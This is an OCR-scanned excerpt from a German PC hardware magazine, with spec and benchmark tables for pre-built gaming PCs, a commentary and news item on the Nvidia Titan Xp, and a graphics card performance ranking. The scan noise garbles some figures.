braucht in unserem Test nur zwischen 41 und 187 
Watt. Dieser limitierte PCGH-Fan-PC wird von Alter- 


nate gebaut und verkauft. 


(dw) 


PCGH-PC 


Produkt 


Hersteller/Bezugsquelle 


L 


PCGH-Fan-PC 
Limited Edition 
Alternate (www.pcgh.de/alternate) 


Erweiterte Informationen 


www.pcgh.de/fan-pc 


Prozessor Intel Core i5-7600K (Sockel 1151) 
Grafikkarte Asus GTX 1060 Dual OC (6 GB) 
Mainboard Asus Strix Z270F Gaming 


SSD-Laufwerk 


275-GB-SSD (Crucial MX300) 


HDD-Laufwerk 


2.000-GB-HDD (Seagate) 


Speicher 16 GB DDR4-2400 (Ballistix) 
Netzteil Seasonic G-Series 550W PCGH-Ed. 
CPU-Kühler EKL Brocken 2 PCGH-Edition 
Gehäuse Fractal Design R5 PCGH-Edition 
Laufwerk/Soundkarte DVD-Brenner/Onboard-Sound 


Gehäuselüfter/Sonstiges 


Lautstärke 2D (0,5 m) 


3 x Lüfter 


0,3 Sone/22 dB(A) 


Ve 


Lautstärke 3D (0,5 m) 


0,7 Sone/26 dB(A) 


Leistungsaufnahme 2D/3D 


41 Watt/187 Watt 


3D Mark (Fire Strike) 


3.039 (0), 5.718 (B), 10.714 (S) 


Crysis 3/The Witcher 3 


59 Fps/45 Fps 


Stalker: Call of Pripyat 


148 Fps (Sun Shafts, Ultra, 4x AA) 


Aliens vs Predator Bench. 


177 Fps (1.920 x 1.080) 


Cinebench R11.5 x64 (CPU) 


7,66 Punkte 


PREIS 


ohne Betriebssystem 


PREIS €1.399,- Ermar- 
mit 64-Bit-Betriebssystem* | (inkl. Windows 10 Home) 
© Hochwertige Basis-Komponenten 
© Sehr leise unter 2D und 3D 
© Kleine SSD 


s 


ANZEIGE 


Asus 


GTX 1060 DUAL ОС 


Die auf der Geforce GTX 1060 Dual 0C 
verbaute GPU taktet mit 1.594 MHz (Boost 
Clock bis 1.809 MHz). Der 6 GByte große 
GDDR5-Speicher ist über ein 192-Bit-Interface 
angebunden und arbeitet mit 2.002 MHz. 
Anschlüsse: 1 x DVI, 2 x HDMI, 2 x Display-P. 


Das Asus-Mai 


Asus Strix Z270F Gaming 


nboard mit Z270-Chipsatz und 


Unterstützung für den Sockel 1151 verfügt 
über vier DDR4- und drei PCI-E-3.0-x16- 
Slots. AuBerdem hat das Board zwei M.2-An- 
schlüsse, Gigabit-LAN, 8-Kanal-Sound sowie 
USB-3.1-Typ-C, Typ-A und USB-3.0-Ports. 


PCGH-PC 


Hersteller/Bezugsquelle 


PCGH-Allround-PC 
GTX1060-Edition V2 
Alternate (www.pcgh.de/alternate) 


GTX1070-Edition V2 
Alternate (www.pcgh.de/alternate) 


Ryzen-Edition 
Alternate (www.pcgh.de/alternate) 


Alternate (www.pcgh.de/alternate) 


GTX1070-Edition V2 
Alternate (www.pcgh.de/alternate) 


Erweiterte Informationen 
 Ausstatt! 
Prozessor 


www.pcgh.de/allround2-pc 


www.pcgh.de/gaming-pc 


Intel Core 15-7600 


www.pcgh.de/ryzen1700-pc 


www.pcgh.de/highend-v2-pc 


Intel Core i7-7700K 


www.pcgh.de/enthusiast2-pc 


Intel Core 15-7500 (Sockel 1151) | (Sockel 1151) AMD Ryzen 7 1700 Intel Core i5-7600K (Sockel 1151) (Sockel 1151) | 
Grafikkarte Asus GTX 1060 Strix OC Gaming Asus GTX 1070 Strix ОС Gaming Asus Geforce GTX 1070 Dual Asus GTX 1070 Strix OC Gaming Asus GTX 1070 Strix OC Gaming 
Mainboard MSI B250 PC Mate MSI B250 PC Mate MSI B350 PC Mate Asus Prime Z270-P Asus Prime Z270-A 


SSD-Laufwerk 


275-GB-SSD (Crucial MX300 M.2) 


275-GB-SSD (Crucial MX300 M.2) 


275-GB-SSD (Crucial MX300 M.2) 


525-GB-SSD (Crucial MX300 M.2) 


525-GB-SSD (Crucial MX300) 


HDD-Laufwerk 


1.000-GB-HDD (WD Blue) 


1.000-GB-HDD (WD Blue) 


1.000-GB-HDD (WD Blue) 


1.000-GB-HDD (WD Blue) 


2.000-GB-HDD (WD Blue) 


Speicher 16 GB DDR4-2400 (Ballistix) 16 GB DDR4-2400 (Ballistix) 16 GB DDR4-2400 (Ballistix) 16 GB DDR4-2400 (Ballistix) 16 GB DDR4-2400 (Ballistix) 
Netzteil Cooler Master B500 Rev. 2 Cooler Master B500 Rev. 2 Be quiet Pure Power 10 400W Seasonic G-Series 550W PCGH-Ed. | Seasonic G-Series 550W PCGH-Ed. 
CPU-Kühler Soythe Katana 4 EKL Brocken 2 PCGH-Edition Scythe Mugen 5 PCGH-Edition Scythe Mugen 4 PCGH-Edition Scythe Mugen 4 PCGH-Edition 
Geháuse Sharkoon M25-V Sharkoon M25-V Sharkoon M25-V Fractal Design R5 PCGH-Edition Fractal Design R5 PCGH-Edition 
Laufwerk/Soundkarte DVD-Brenner/Onboard-Sound DVD-Brenner/Onboard-Sound DVD-Brenner/Onboard-Sound DVD-Brenner/Onboard-Sound Blu-ray-Brenner/Onboard-Sound 


Gehäuselüfter/Sonstiges 


2 x Lüfter, WLAN-Karte 


2 x Lüfter, WLAN-Karte 


2 x Lüfter, WLAN-Karte 


3 x Lüfter, WLAN-Karte 


3 x Lüfter, WLAN-Karte 


Lautstárke 2D (0,5 m) 0,2 Sone/20 dB(A) 0,2 Sone/20 dB(A) 0,1 Sone/18 dB(A) 0,3 Sone/22 dB(A) 0,2 Sone/20 dB(A) 
Lautstárke 3D (0,5 m) 0,9 Sone/29 dB(A) 1,2 Sone/31 dB(A) 1,5 Sone/33 dB(A) 0,7 Sone/27 dB(A) 0,6 Sone/26 dB(A) 
Leistungsaufnahme 2D/3D 30 Watt/182 Watt 37 Watt/249 Watt 46 Watt/232 Watt 36 Watt/240 Watt 40 Watt/254 Watt 

3D Mark (Fire Strike) 3.132 (U), 5.839 (E), 10.655 (S) 4.406 (U), 7.943 (E), 14.368 (S) 4.251 (U), 8.031 (E), 14.862 (S) 4.429 (U), 7.982 (E), 14.479 (S) 4.567 (U), 8.472 (E), 16.186 (S) 
Crysis 3/The Witcher 3 59 Fps/46 Fps 80 Fps/68 Fps 79 Fps/61 Fps 82 Fps/68 Fps 83 Fps/68 Fps 


Stalker: Call of Pripyat 


146 Fps (Sun Shafts, Ultra, 4x AA) 


191 Fps (Sun Shafts, Ultra, 4x AA) 


163 Fps (Sun Shafts, Ultra, 4x AA) 


192 Fps (Sun Shafts, Ultra, 4x AA) 


205 Fps (Sun Shafts, Ultra, 4x AA) 


Aliens vs Predator Bench. 


181 Fps (1.920 x 1.080) 


245 Fps (1.920 x 1.080) 


236 Fps (1.920 x 1.080) 


245 Fps (1.920 x 1.080) 


248 Fps (1.920 x 1.080) 


Cinebench R11.5 x64 (CPU) 6,94 Punkte 7,45 Punkte 15,60 Punkte 7,63 Punkte 10,85 Punkte 
PREIS 
ee €1.189,- €1.429,- €1.529,- €1.699,- €1.929,- 
PREIS €1.289,- €1.599,- €1.629,- €1.799,- €2.029,- 


mit 64-Bit-Betriebssystem* 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


© Neuer Intel Kaby-Lake-Prozessor 
© Sehr leise unter 2D 
© Kleine SSD 


© Schnelle Geforce GTX 1070 
© Sehr leise unter 2D 
© Kleine SSD 


© Sehr hohe CPU-Leistung (8 Kerne) 
© Aktuell leisester PC unter 2D 
© Hörbare Grafikkarte in 3D 


© Neuer Intel Kaby-Lake-Prozessor 


© Sehr leise unter 2D und 3D 
© Kein Blu-ray-Laufwerk 


© Schnelle Geforce GTX 1070 
© Sehr leise unter 2D 
© Niedriger Stromverbrauch 


* Preiserfassung und Produktdaten vom 12.04.2017, unter www.pcgh.de/alternate finden Sie stets den aktuellen Preis. Bei der Variante mit Betriebssystem 


sind neben Windows auch sämtliche Treiber installiert und der PC ist sofort einsatzbereit. 
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Lesen Sie in Zukunft die Geieerg l 
bequem auf Ihrem iOS-, Android-, oon 
Gerät oder PC (auch als Download- 5 


Bookazines 2002 “= E 


e PCGH im Digitalabo für 
12 Monate bestellen und 
3 Bookazines nach Wahl 
per Post gratis erhalten 


e Auswahl aus Bookazines im 
Wert von insgesamt 29,97 € 


Jetzt Abo online bestellen unter: 


e Gutschein von 3D Supply für 
ein T-Shirt nach Wahl 


e Zur Auswahl stehen auch 
unsere zwei neuen PCGH- PCGH 
Shirts | 

e Кеіп Або gewünscht? Einzel- 
kauf unter 3dsupply.de/pcgh 


Jetzt Abo online bestellen unter: 


12 x PCGH + Pràmie für nur 39,99 € 


200. PCGH-Ausgabe w 


D 
DZ 


Prämie für das 
2-Jahres-Printabo 


d XXL Special auf 32 Seiten 
ë ` AMD RYZEN 


| 
| Gratis-Tuni ning fü für Ihren Monitor 
Aniei e ie Game tornat 


ins: —— in Spielen 


Scythe Mugen 5 
PCGH-Edition 


e 2 Silent-PWM-Lüfter mit 
je 800 U/min 


e Nur 0,3 Sone/23 dB(A) 
e Schwarzes Lüfterdesign 


e Leiser und den- 
noch exakt gleiche 
Kühlleistung wie 
bei Mugen 5 in der 
Standardversion 


24 x PCGH-Print ьи 


Nur solange Vorrat reicht! 


Jetzt Abo online bestellen unter: 


Grafikkarten 


Grafikkarten, Kühler 


Raffael Vótter 
Fachbereich Grafikkarten 
E-Mail: rv@pcgh.de 


Kommentar 


Nvidia-CEO Huang: „Oops, I did it again!” 
Hmm, ob ich es auch tue? 


Nicht nur Nordkorea, sondern auch die Ge- 
force-Macher haben im Frühjahr schwere 
Geschütze aufgefahren. Nvidia veröffentlicht 
derzeit eine High-End-Grafikkarte nach der 
nächsten, ohne dass im Vorfeld verlässliche 
Leaks von ihnen künden. Das ist spannend 
und führt zu Bewegung im High-End-Segment. 
Nachdem im März die Geforce GTX 1080 Ti für 
Furore sorgte, folgt nur wenige Wochen später 
die Titan Xp (siehe rechts). Erneut handelt es 
sich um eine — meiner bescheidenen Meinung 
nach — hoffnungslos überteuerte Grafikkarte 
ohne echten Mehrwert. Sie bietet weder eine 
wahnwitzige Speicherkapazität, noch einen 
ordentlichen Kühler, wieder muss das werksei- 
tig installierte Kühlsystem einem Wasser- oder 
sonstigen Nachrüstkühler weichen, um das 
Produkt auszureizen. Immerhin sehen wir nun 
endlich einen „vollen“ GP102, was zumindest 
echte Geeks anziehend finden. Alle weiteren 
Eckdaten der Titan Xp sind jedoch unspannend. 
Die Grundleistung der Karte lässt sich problem- 
los mithilfe einer ordentlich gekühlten Geforce 
GTX 1080 Ti erreichen, wie wir sie auf den fol- 
genden Seiten testen. 


WWW.pcgames 


Nvidia Titan Xp 


Die Geforce GTX 1080 Ti besiegte die Titan X (Pas- 
cal). Nun folgt die Titan Xp, sodass die Hackord- 
nung ,Titan » Geforce" wieder hergestellt ist. 


vidias Titanen markieren die Spitze der 

Nahrungskette. Als die Geforce GTX 1080 
Ti im März den titanischen Kónig aus eigenem 
Hause entthronte, war klar, dass ein neuer Titan 
im Anmarsch ist. Die „Titan XP“, wie sie von En- 
thusiasten und der Presse gleichermaßen genannt 
wutde, ist tot - lang lebe der neue Kónig Titan Xp, 
mit kleinem p. Hinter dem irreführenden Namen 
steckt erneut die schnellste Grafikkarte der Welt, 
denn die Titan Xp bringt erstmals einen vollstän- 
dig aktiven GP102-Chip in den Endkundenmarkt, 
wenn man von der Profi-Karte Quadro P6000 ab- 
sieht. Im Datenblatt der Titan Xp finden sich daher 


ckende Rechenleistung von 12 TFLOPs bei einfa- 
cher Genauigkeit, wie sie unter anderem Spiele 
erfordern. Auch die Speicherschnittstelle ist voll- 
ständig vorhanden und schneller denn je: Wie bei 
der Geforce GTX 1080 Ti, welche bei Redaktions- 
schluss ab 750 Euro verfügbar war, lótet Nvidia 
den schnellen GDDR5X-Speicher mit einer Daten- 
rate von 11 Gbps auf die Platine. Das führt zu einer 
Speichertransferrate von beinahe 548 Gigabyte/s - 
mehr als bei der Radeon R9 Fury X mit ihrem HBM 
der ersten Generation. Wermutstropfen: Trotz 
des hohen Preises von 1.349 Euro stagniert die 
Speicherkapazität bei 12.288 MiByte. Unter dem 
Strich erreicht die Titan Xp somit eine um rund 
zehn Prozent hóhere Leistung als die GTX 1080 Ti. 
Ein Muster der High-End-Grafikkarte war bis Re- 
daktionsschluss nicht verfügbar, doch PC Games 


Bild: Nvidia 


3.840 Shader-ALUs und eine durchaus beeindru- Hardware bleibt für Sie am Ball. (rv) 
Kurz nach dem Launch fiel mir dann doch etwas 
Positives ein: Die Titan Xp sorgt dafür, dass der Modell Titan Xp Titan X Geforce Geforce Geforce Geforce Radeon 
Gebrauchtmarkt mit einigen Titan-X-Karten ge- (Pascal) GTX 1080 Ti | GTX1080 | GTX1070 | GTX980Ti | R9FuryX 
flutet wird. Ich verspüre erneut dieses Kribbeln. Codename GP102-450 -A1 | GP102-400-A1 | GP102-350-K1-A1 | GP104-400-A1 | GP104-300-A1 | GM200-310-A1 Fiji XT 
Eine gebrauchte Titan X (Pascal) zum halben DX-12-Feature-Level Ta jp] 1251 12.1 12-3] 121 120 
Neupreis wàre etwas, das ich kaufen würde. Chipgröße (reiner Die) 471 mm? 471 mm? 471 mm? 314 mm? 314 mm? 601 mm? 596 mm? 
Warum, fragen Sie? Nun, ich besitze seit bald Tansistoren GPU (Mio) 12000 12.000 12.000 7.200 7.200 8.000 8900 
zwei Јаһгеп eine 12-GiByte-Grafikkarte und ALUsISIMDs/TMUs 3.840/30/240 | 3.584/28/224 3.584/28/224 2.560/20/160 1920/15/20 | 2.816/22/176 | 4.096/64/256 
š А p = ; aster-Endstufen (ROPs) 96 96 88 64 64 96 64 
wollte eigentlich nicht abrüsten. Ehrlich gesagt - 
hoffte ich auf 16-GiByte-Karten im Frühjahr , GPU-Basistakt (MHz) 1480 1417 1480 1.607 1.506 1.002 unbekannt 
Я ч Е Е X | GPU-Boost-Takt (MHz) 1.582 1.531 1.582 1.733 1.683 1.075 1.050 
2017 und hier speziell auf eine flinke Radeon. š | Rechenleistung SP (Mios) 12.150 10.974 11340 8873 6463 6.054 8602 
Nun campe ich jedoch bei eBay, auf der Lauer Š [Durchsatz РеТе (М) | 15198787 | 13728429 | 14173541 | 11092773 | 10100020 | 946/892 | 6720688 
nach einer Titan X (Pascal) ... Der Tag der Ent- & | Speicheranbindung (Bit) 384 384 352 256 256 384 4.096 
scheidung naht. Und auf was lauern und sparen | Geschwindigkeit RAM (ОТ) 114 100 110 10,0 80 70 10 
Sie? Schreiben Sie mir an rv@pcgh.de! š Speichertyp GDDR5X GDDR5X GDDR5X GDDR5X GDDR5 GDDR5 HBM (gent) 
8 | Speicherübertragung (GB/s) 547,6 480 484 320 256 336,6 SR, 
АШ apa : "S | Speichermenge (МІВ) 12.288 12.288 11.264 8.192 8.192 6.144 4.096 
Hardware 3 PCI-Express-Stromanschlüsse je 1x 6-/8-pol. | je 1 х 6-/8-pol. | je 1 x 6-/8-polig 1 x 8-polig 1x8polig | је1 х 6-/8-pol. | 2 х 8-polig 
Е Typische Leistungsaufnahme <250 Watt <250 Watt <250 Watt <180 Watt 150 Watt <250 Watt 275 Watt 
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GPU-Leistungsindex: Top 20 


E Gesamt B FHD В WQHD E UHD 


BESSER > | Normierte Leistung 
|. Preis-Leistungs-Index (РІМ): Mehr ist besser 


Geforce 
GTX 1080 Ti 


Takt: 1.582 MHz, 11 GT/s 

RAM: 11 GiB GDDR5X 

Preis: Ca. 750 € (-30) 
PLV: 55,6 % 


Titan X 

(Pascal) 

Takt: 1.531 MHz, 10 GT/s 
RAM: 12 GiB GDDR5X 


Preis: Ca. 1.359 € (+0) 
PLV: 30,3 % 


Geforce 

GTX 1080 

Takt: 1.733 MHz, 10 GT/s 

RAM: 8 GiB GDDR5X 

Preis: Ca. 500 € (+10) 
PLV: 69,4 % 


Geforce 
GTX 1070 


Takt: 1.683 MHz, 8 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 390 € (+0) 
PLV: 72,2 % 


Geforce 
GTX 980 Ti 


Takt: 1.075 MHz, 7 GT/s 

RAM: 6 GiB GDDR5 

Preis: Ca. 480 € (-20) 
PLV: 54,4 % 


Radeon 

R9 Fury X 

Takt: 1.050 MHz, 1 GT/s 

RAM: 4 GiB HBM 

Preis: Ca. 480 € (-20) 
PLV: 51,9 96 


Radeon 
R9 390X 


Takt: 1.050 MHz, 6 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 350 € (+20) 
PLV: 61,1 96 


Geforce 

GTX 980 

Takt: 1.216 MHz, 7 GT/s 

RAM: 4 GiB GDDR5 

Preis: Ca. 380 € (+0) 
PLV: 55,2 % 


uu, ШП 


Radeon 
RX 580/8G 


Takt: 1.340 MHz, 8 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 260 € (Neu) 
PLV: 80,1 96 


Geforce 
GTX 1060/6G 


Takt: 1.709 MHz, 8 GT/s 

RAM: 6 GiB GDDR5 

Preis: Ca. 260 € (+0) 
PLV: 78,5 % 


100% 


г _ o° 
Ш 
ШД 


F1: 112/95/64 
F04: 156/106/54 
FCP: 105/81/49 
GTA: 72/56/32 


А05: 48/42/38 
ACS: 90/65/37 
Bl: 207/147/84 
C3: 121/78/38 


CW: 95/93/51 
DMD: 119/84/46 
DM: 200/171/87 
TES: 246/214/130 


98,9 % 


CW: 95/92/50 
DMD: 117/83/45 
DM: 200/169/85 
TES: 237/213/129 


F1: 110/94/64 
FO4: 156/106/54 
FCP: 103/80/48 
GTA: 71/56/32 


A05: 47/41/37 
ACS: 89/63/36 
Bl: 204/145/83 
C3:121/78/39 


833 % 


МЕС: 115/81/44 TWW: 66/60/32 
0W:236/159/82 ЕСК: 118/75/36 
ROT: 104/74/42 МАЗ: 132/93/51 
ТТР: 113/90/57 СОР: 51,0 


Radeon 

RX 480/8G 

Takt: 1.266 MHz, 7 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 230 € (4-10) 
PLV: 87,1 % 


МЕС: 114/81/44 TWW: 66/60/32 
0W:229/157/81 ЕСА: 119/75/36 
ROT: 102/73/41 ММЗ: 130/92/50 
ТТР: 112/89/56 СОР: 50,6 


Radeon 
R9 390 


Takt: 1.000 MHz, 6 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 270 € (-10) 
PLV: 73,5 % 


E 56.6 7 
CDR 
! OK 


F1: 98/82/53 
FO4: 130/85/43 
FCP: 87/66/39 
GTA: 63/47/25 


A0S: 44/36/30 
ACS: 77/54/29 
ВІ: 170/121/63 
C3: 95/60/30 


CW: 94/78/38 
DMD: 99/68/36 
DM: 196/140/69 
TES: 227173101 


MEC: 97/68/36 
OW: 176/120/63 
ROT: 84/59/31 


TWW: 65/48/26 
ECR: 94/59/27 
W3: 109/76/40 


Radeon 

RX 480/4G 

Takt: 1.266 MHz, 8 GT/s 
RAM: 4 GiB GDDR5 
Preis: Ca. 190 € (+5) 


—jAF c ° 
LL Ohhas 
== 
ws 


А05: 39/29/27 
ACS: 64/4424 
Bl: 143/98/50 
C3: 77148124 


CW: 93/62/30 
DMD: 79/53/28 Е04:105/69/35 
DM: 165/106/53 FCP: 68/51/30 
TES: 197/143/84 СТА: 53/38/20 


F1: 81/66/42 


Д 0j 
ТТР; 105/79/47 СОР: 44,9 PIV: 100% 
Radeon 
RX 570/4G 
Takt: 1.245 MHz, 7 GT/s 
МЕС: 77/53/28 ТУЛА: 58/39/21 RAM: 4 GiB GDDR5 


OW: 141/95/50 
ROT: 66/45/24 


ECR: 76/47/22 
W3: 87/59/31 


Preis: Ca. 200 € (Neu) 


| ERA 
= —— 5.5% 
ННН с: 
НЕНИ s % 


CW: 91/58/28 
DMD: 73/51/27 
DM: 151/96/47 


F1: 75/62/40 
FO4: 99/66/34 
РСР: 60/47/29 


А05: 31/24/22 
АСЅ: 54/39/21 
ВІ: 143/99/51 


Д 0j 
TTP: 69/54/34 СОР: 41,1 РІМ: 89,4 % 
Radeon 
R9 290 
Takt: 947 MHz, 5 GT/s 
MEC: 69/48/20 TWW: 55/38/20 RAM: 4 GiB GDDR5 


OW: 134/90/47 
ROT: 62/44/24 


ECR: 72/45/21 
W3: 79/54/29 


Preis: Nicht lieferbar 
РМ: – 


C3: 74/47/23 TES: 177/130/77 СТА: 45/34/19 ТТР: 66/52/32 СОР: 37,5 
E — — M 

—swrr ar . °; Geforce 
E 5.1 % GTX 1060/36 
DS >; Takt: 1.709 MHz, 8 GT/s 
AOS: 34/28/26 СММ: 85/59/30 F1: 72/60/41 МЕС: 33/24/11 — TWW: 46/31/7 RAM: 3 GiB GDDR5 


FO4: 81/56/29 
FCP: 58/47/31 


ACS: 49/30/13 
Bl: 150/101/53 


DMD: 73/50/23 
DM: 177/115/57 


OW: 126/88/47 
ROT: 49/37/22 


ECR: 57/38/19 
W3: 75/54/31 


Preis: Ca. 185 € (-15) 


A 0 
СЗ: 71/47/24 TES: 132/104/66 СТА: 42/31/14 TTP: 68/55/35 СОР: 59,8 РІМ: 953 % 
НЕНИ RE 
—— 50,5 % Radeon 
[r T RX 470/8G 
nn [3% Takt: 1.205 MHz, 6,6 GT/s 
А05: 29/23/22 CW: 78/51/25 Е1: 61/51/34 МЕС: 50/35/19 TWW: 33/24/13 RAM: 8 GiB GDDR5 


ACS: 39/27/15 DMD: 62/42/22 F04: 66/45/23 


OW: 99/68/34 ECR: 46/31/15 


Preis: Ca. 220 € (+0) 


Bl: 124/80/40 DM: 135/88/44 FCP: 50/40/26 ROT: 44/33/19 W3: 54/38/21 РІМ: 79,5 % 

C3: 58/38/19 TES: 121/94/59 СТА: 37/28/15 ТТР: 68/53/31 СОР: 56,1 RO 

Гг шп 

Е етее 
[HL GTX 970 
Gw. Takt: 1.178 MHz, 7 GT/s 
А05: 28/22/20 CW: 77/46/22 F1: 66/53/34 MEC: 35/27/13 — TWW: 45/30/15 RAM: 3,5+0,5 GiB GDDR5* 


ACS: 48/32/14 
Bl: 123/80/39 


DMD: 63/43/21 
DM: 128/81/39 


F04: 83/54/27 
FCP: 50/39/23 


0W:115/76/39 
ROT: 38/22/13 


ЕСК: 58/36/17 
W3: 67/45/24 


Preis: Ca. 210 € (-30) 


- 0 
C3: 60/37/18 TES:146/106/61 СТА: 40/29/15 TTP: 53/41/25 COP: 31,6 РВ 
a 
[— — HL о 
Г li /6 * RX 470/4G 
waw 2.2 7. Takt: 1.205 MHz, 6,6 GT/s 
AOS: 29/23/22 CW: 66/43/20 F1: 67/55/34 МЕС: 56/37/19 TWW: 37/26/15 RAM: 4 GiB GDDR5 


ACS: 42/28/15 
BI: 116/73/35 


DMD: 63/42/21 
DM: 154/97/46 


F04: 67/43/20 
FCP: 47/37/23 


OW: 105/70/36 
ROT: 45/33/19 


ECR: 47/29/14 
W3: 63/43/23 


Preis: Ca. 190 € (+20) 


Д 0j 
C3: 52/33/16 TES:127/92/53 СТА: 36/26/13 ТТР: 49/38/24 СОР: 48,7 PIV: 90,1% 
—— 5 % 
SN ° +. SE, 
P 16,5 % GTX 780 Ti 
ma 434% Takt: 928 MHz, 7 GT/s 
A0S: 29/22/21 CW: 74/45/21 F1: 60/48/30 МЕС: 56/37/15 TWW: 41/27/14 RAM: 3 GiB GDDR5 


ACS: 47/32/15 
Bl: 113/72/36 
C3: 56/35/17 


DMD: 58/39/20 
DM: 117/74/36 
TES: 146/103/59 


F04: 75/49/25 
FCP: 49/37/21 
GTA: 40/28/15 


OW: 105/69/35 
ROT: 43/31/17 
TTP: 49/38/24 


ECR: 53/33/15 
W3: 61/41/22 
COP: 32,3 


Preis: Nicht lieferbar 
РМ: – 


ЕА 
Ни 5: 
Ни 145 % 

КД 

AOS: 28/22/21 CW:65/41/20 — Е1: 63/52/33 
ACS: 41/27/14 ОМО: 61/41/20 ЕО4: 65/41/20 
BI: 111/70/34 ОМ: 145/91/44 FCP: 46/36/22 
C3:51/32/15 TES: 118/87/51 67А: 35/25/13 


MEC: 53/36/19 
OW: 102/69/35 
ROT: 44/31/18 
TTP: 47/37/23 


TWW: 35/24/13 
ECR: 44/28/13 
W3: 60/41/22 
COP: 46,3 


ww гс 
m 
ннн 25» 
o зл 
AOS: 27/22/21  CW:74/48/3 — F1:55/46/30 
ACS: 35/25/14 ОМО: 58/40/21 F04:63/43/22 
Bl: 114/73/37 DM:124/80/40 РСР: 46/37/23 
C3:54/36/18 1Е5:111/85/53 GTA: 34/26/14 


TWW: 29/21/12 
ЕСА: 43/29/14 
W3: 48/33/18 
СОР: 54,8 


МЕС: 47/32/18 
OW: 93/64/33 
ROT: 40/30/17 
TTP: 52/42/26 


НЕНИ : ° % 
I [70 
ІЕС 

ms. o 

AOS: 28/21/20 — CW62M0/9 F1: 62/51/32 
ACS: 39/24/12 DMD: 58/3918 РО4:63/40/19 
BI: 108/68/33. ОМ: 143/90/43 FCP: 45/35/21 
C3: 49/31/14 TES: 117/85/50 — GTA: 34/24/12 


TWW: 34/23/7 
ECR: 43/27/13 
W3: 59/40/21 
COP: 46,3 


MEC: 30/22/14 
OW: 101/67/34 
ROT: 42/30/17 
TTP: 46/36/23 


I 2 5 
НИ 1/7 % 
ЕЕ 
Gw 
AOS:26/20009 — CW:6037H8 — F1:60/49/30 
ACS: 38/25/9 DMD:5637/08 FO4:61/39/18 
BI: 103/65/31 DM:134/8340 ЕСР: 42/33/20 
(3:473014 TES: 114/81/48 СТА: 33/23/12 


TWW: 31/21/7 
ECR: 42/26/13 
W3: 55/37/20 
СОР: 40,5 


MEC: 29/20/12 
OW: 94/63/32 
ROT: 39/28/15 
TTP: 44/34/21 


= шї 
=s IP 
и 
Gwsas % 
AOS: 25/2019 СМ:69/43/22 Fl:51/42/27 
АС: 33/21/11 DMD: 52/36/17 РО4:57/39/20 
BI: 106/68/34 ОМ: 114/74/36 РСР: 42/34/22 
C3:50/33/16 TES: 103/79/49 СТА: 32/23/8 


TWW: 27/20/11 
ECR: 40/26/13 
W3: 45/32/17 
СОР: 48,9 


МЕС: 28/20/11 
0W: 85/57/29 
ROT: 38/28/16 
TTP: 48/38/24 


г шї 
=s °”. 
Gs 2000 6 
U—— aa 
AOS: 28/21/14 СМЕ 70/43/20 
ACS: 451285  DMD: 51/32/15 

BI: 108/68/34 ОМ: 105/69/26 
G:5333116 ТЕ5:134/96/54 


TWW: 37/15/6 
ECR: 50/30/13 
W3: 57/39/20 
COP: 31,0 


MEC: 31/20/9 
OW: 96/63/32 
ROT: 21/15/9 

TTP: 46/36/22 


F1: 57/46/28 
F04: 70/45/23 
FCP: 46/34/20 
СТА: 38/27/6 


E ° 
N 5 
r 33,5 % 
EK 
AOS:25/19/18 — CW:56135117 — Е1:57/47/29 
ACS: 36/24/12 DMD:53/35/18 FO4: 58/37/17 


MEC: 47/32/17 
OW: 89/60/31 


TWW: 30/20/10 
ECR: 40/25/12 


ВІ: 98/61/30 DM: 128/80/38 FCP: 41/32/20 ROT: 38/28/16 W3: 53/36/19 
C3: 45/28/13 TES: 107/78/45 СТА: 31/22/11 ТТР: 42/33/20 СОР: 39,3 
OOO ë г: 
=== Se 

er Pi % * 3.584 MiB (224 Bit) 
j — i „3 /0 o $ 
p шл 


А05: 24/18/17 
ACS: 40/26/11 
Bl: 106/67/33 
C3: 50/31/15 


CW: 64/38/18 

DMD: 51/34/17 
DM: 106/66/32 
TES: 122/88/50 


TWW: 38/25/11 
ECR: 43/26/12 
W3: 54/37/19 
C0P:28,5 


Е1: 56/45/25 
F04: 68/45/22 
FCP: 43/31/17 
GTA: 34/24/7 


MEC:31/23/11 
OW: 90/60/31 
ROT: 33/22/13 
TTP: 43/34/21 


I ° 
E г: 
ЕДЕ 
u 
AOS:25/19/18 ` CW:58/35/7 

ACS: 361249 — DMD:53/35/17 

BI: 98/61/30 DM: 128/79/38 

C3: 45/2813 ТЕ5:107/78/45 


TWW: 30/20/7 
ECR: 40/25/12 
W3: 53/36/19 
COP: 39,3 


F1: 57/47/29 

F04: 58/37/17 
FCP: 41/32/20 
GTA: 31/22/11 


MEC: 28/20/12 
OW: 90/60/31 
ROT: 38/27/15 
TTP: 42/33/21 


ВЕ 
RN 3,5 % 
Legende 
EK 
AOS: 23/18/15 CW: 64/39119 
АС$:35227 ` ОМО: 46/31/15 

BI: 117/76/38 ОМ: 82/52/26 
С3:55/35/16 TES: 122/92/55 


TWW: 36/12/4 
ECR: 45/28/12 
W3: 53/38/20 
COP: 28,0 


F1: 52/43/27 
F04: 64/42/20 
FCP: 41/32/19 
GTA: 35/26/7 


MEC: 28/19/11 
OW: 90/61/31 

ROT: 30/17/12 
ТТР: 48/38/23 


Spiele-/Anwendungsnamen: Ashes o 


System: Core i7-6800K @ 4,4 GHz Ee 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T); Windows 10 x64 (1607); anisotroper Texturfilter konseguent auf „Hohe Qualität” (HQ-AF); Vsync aus 

the Seed (AOS), Assassin's Creed Syndicate (ACS), Bioshock Infinite (BI), Crysis 3 (C3), Crysis Warhead (CW), Deus Ex: Мапкіп 

Far Cry Primal (FCP), Grand Theft Auto 5 (GTA), Mirror's Edge: Catalyst (MEC), Overwatch (OW), Rise of the Tomb Raider (ROT), The Talos Principle (TTP), Total War: Warhammer (TWW), pa duos Scrolls 5: Skyrim (TES), The Vanishing of 
Ethan Carter Redux (ECH), The Witcher 3 (W3), Capture One Pro (COP). Angabe auf die nächste Ganzzahl gerundeter Fps, außer COP (Megapixel/s). Wichtig: Die Anwendungsleistung fließt (nur) in den blauen Gesamt-Index ein. 


Divided ( (DMD), Doom (DM), F1 2016 (F1), Fallout 4 (FO4), 


www.pcgameshardware.de 
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Radeon RX 580 
& RX 570 


. AMD spendiert seiner Mittel- und Einstei- 


G 


аваас=е=гее 


